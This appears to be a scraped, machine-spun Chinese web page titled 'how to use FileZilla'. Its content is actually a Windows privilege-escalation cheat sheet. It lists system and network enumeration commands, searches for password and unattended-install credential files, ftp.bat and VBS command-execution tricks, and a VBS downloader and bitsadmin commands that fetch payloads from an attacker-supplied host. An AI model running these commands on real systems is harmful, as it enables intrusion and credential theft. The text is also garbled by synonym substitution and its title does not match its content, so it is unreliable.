filezilla怎么用
这不是一篇渗透测试指导,而是复杂引见了几个Windows内网提权的实用号令,以供我等菜鸟进修不雅摩,还望大牛包容指导。
1
获取操纵零碎信息
识别操纵零碎名称及版本:
C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
OS Name: Microsoft Windows 10Pro
OS Version: 10.0.14393N/A Build 14393
固然中文零碎你得这样:
systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
识别零碎体系布局:
C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%
AMD64
检查所有情况变量:
C:\Users\thel3l> SET
USERNAME=thel3l
USERPROFILE=C:\Users\thel3l
*snip*
检查某特定用户信息:
C:\Users\thel3l>net user thel3l
User name thel3l
*snip*
The command completed successfully
2
获取网络信息
检查路由表信息:
C:\Users\thel3l> route print
检查ARP缓存信息:
C:\Users\thel3l> arp -A
检查防火墙规定:
C:\Users\thel3l> netstat -ano
C:\Users\thel3l> netsh firewall show config
C:\Users\thel3l> netsh firewall show state
3
利用顺序及办事信息
检查打算工作:
C:\Users\thel3l> schtasks /QUERY /fo LIST /v
中文零碎的号令,先调解GBK编码为437美国编码:
chcp 437
而后
schtasks /QUERY /fo LIST /v
检查办事过程ID:
C:\Users\thel3l> tasklist /SVC
检查装置驱动:
C:\Users\thel3l> DRIVERQUERY
检查装置顺序和版本信息(缝隙操纵线索):
C:\Users\thel3l> wmic product list brief
检查办事、过程和启动顺序信息:
C:\Users\thel3l> wmic service list brief
C:\Users\thel3l> wmic process list brief
C:\Users\thel3l> wmic startup list brief
检查.msi顺序的执行权限:
C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
检查是否设置有setuid和setgid:
C:\Users\thel3l>
reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits
检查装置补丁和工夫信息:
C:\Users\thel3l> wmic qfe get Caption,Deion,HotFixID,InstalledOn
检查特定缝隙补丁信息:
C:\Users\thel3l> wmic qfe get Caption,Deion,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx"
4
敏感数据和目录
查找暗码文件或其它敏感文件:
C:\Users\thel3l> cd/
C:\Users\thel3l> dir /b/s password.txt
C:\Users\thel3l> dir /b/s config.*
C:\Users\thel3l> findstr /si password *.xml *.ini *.txt
C:\Users\thel3l> findstr /si login *.xml *.ini *.txt
无人值守装置文件:
这些文件通常包括模式的暗码信息。这类文件在一些大型企业网络或GHO零碎中可以发明,文件通常的地位如下:
C:\sysprep.inf
C:\sysprep\sysprep.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\Panther\Unattended.xml
5
文件零碎
可以经由过程挪用零碎预装置顺序语言检查当前可拜访目录或文件权限,如python下:
import os; os.system("cmd /c {command here}")
使用copy con号令创立ftp执行会话:
典范榜样
C:\Users\thel3l> copy con ftp.bat#创立一个名为ftp.bat的批处置惩罚文件
ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z完毕编纂,再按回车退出
C:\Users\thel3l> ftp.bat# 执行创立的文件
ftp> # 执行ftp号令
ftp> !{command}# e.g. - !dir or !ipconfig
使用copy con号令创立VBS剧本文件:
C:\Users\thel3l> copy con commandExec.vbs #创立VBS剧本文件
Call W.CreateObject("W.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容
C:\Users\thel3l>commandExec.vbs #执行剧本文件
反省文件夹可写状态:
C:\Users\thel3l> dir /a-r-d /s /b
6
一个有用的文件上传剧本
' downloadfile.vbs
' Set your settings
strFileURL = "https://{YOUR_IP}/{FILE_NAME.EXT}"
strHDLocation ="c:\\{FILE_NAME.EXT}"
' Fetch the file
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1 'adTypeBinary
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0 'Set the stream position to the start
Set objFSO = Createobject("ing.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
该剧本是一个社区公布的,你可以以下这种方法运行它:
C:\Users\thel3l>c.exe downloadfile.vbs
bitsadmin号令:
如果你的方针零碎是Windows 7及以上操纵零碎,你可以使用bitsadmin号令,bitsadmin是一个号令行东西,可用于创立下载上传过程:
典范榜样
C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file
C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}
C:\Users\username\Downloads\{FILE_NAME.EXT}
如:
bitsadmin /transfer n https://download.fb.com/file/xx.zip c:\pentest\xx.zip
来历:https://www.freebuf.com/articles/system/114731.html
“炼石杯”网络空间平安技术大赛
以赛促学、以技会友
更有诸多大奖等你拿
详情咨询QQ群:478091920